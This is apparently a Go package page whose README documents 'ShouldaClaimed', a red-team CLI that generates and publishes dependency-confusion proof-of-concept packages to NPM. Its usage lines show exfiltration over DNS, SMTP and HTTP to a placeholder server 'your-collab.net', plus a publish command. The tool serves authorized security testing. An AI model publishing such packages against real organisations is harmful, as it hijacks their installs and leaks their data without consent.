ShouldaClaimed

command module
v0.0.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Dec 30, 2025 License: GPL-3.0 Imports: 7 Imported by: 0

README

ShouldaClaimed

A CLI tool for generating and publishing Dependency Confusion Proof-of-Concepts (POCs) to NPM.

Install

go install github.com/A3-N/ShouldaClaimed@latest

Usage

Create Payload (No Publish)

Generate a package to inspect the code or publish manually later.

DNS Exfiltration (Chunked High-Bandwidth):

ShouldaClaimed create -t internal-utils -p dns -s your-collab.net

SMTP Exfiltration (Port Configurable):

ShouldaClaimed create -t internal-utils -p smtp -s your-collab.net:587

HTTP Exfiltration:

ShouldaClaimed create -t internal-utils -p http -s http://your-collab.net
Create & Publish

Generates the package, handles authentication, and publishes to the NPM registry.

ShouldaClaimed publish -t internal-utils -p dns -s your-collab.net
Flags
Flag Description
-t, --target Required. Target package name.
-p, --poc POC Type: dns, smtp, http.
-s, --server Exfiltration server (e.g. collab.net or http://...).
-o, --out Output directory (default: .).
-f, --force Skip pre-flight checks (NPM installed? Package exists?).

Intent

This tool is designed for authorized security testing and Red Teaming engagements to demonstrate the impact of Dependency Confusion vulnerabilities.

Documentation

The Go Gopher

There is no documentation for this package.

Directories

Path Synopsis
pkg
cli

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL